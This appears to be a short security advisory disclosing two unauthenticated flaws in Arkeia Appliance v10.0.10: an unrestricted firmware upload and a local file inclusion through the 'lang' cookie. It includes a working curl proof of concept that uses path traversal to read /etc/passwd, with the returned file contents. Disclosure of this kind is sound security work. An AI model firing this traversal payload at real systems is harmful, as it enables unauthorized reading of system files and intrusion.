Arkeia Appliance v10.0.10 is prone to 2 security vulnerabilties: 

1) Unauthenticated firmware upload 

There are no restrictions when a POST request is send to http://<IP>/scripts/upload.php thus allowing any 
unauthenticated client to upload any data to the /tmp/ApplianceUpdate file. 

2) Local File Inclusion (LFI) vulnerability in the cookie "lang=" 

By sending a request (without the need for authentication) to the homepage of the appliance with a cookie "lang=../../../../../../../../../../../../../../../../etc/passwd%00", 
it's possible to read files on the server, in this example /etc/passwd. 

Proof of Concept 
Run the following command: 
curl --cookie "lang=../../../../../../../../../../../../../../../../etc/passwd%00" http://<IP>/ 

Which will return the /etc/passwd: 

root:x:0:0:root:/root:/bin/bash 
bin:x:1:1:bin:/bin:/sbin/nologin 
daemon:x:2:2:daemon:/sbin:/sbin/nologin 
adm:x:3:4:adm:/var/adm:/sbin/nologin 
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin 
sync:x:5:0:sync:/sbin:/bin/sync 
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown 
halt:x:7:0:halt:/sbin:/sbin/halt 
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin 
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin 
operator:x:11:0:operator:/root:/sbin/nologin
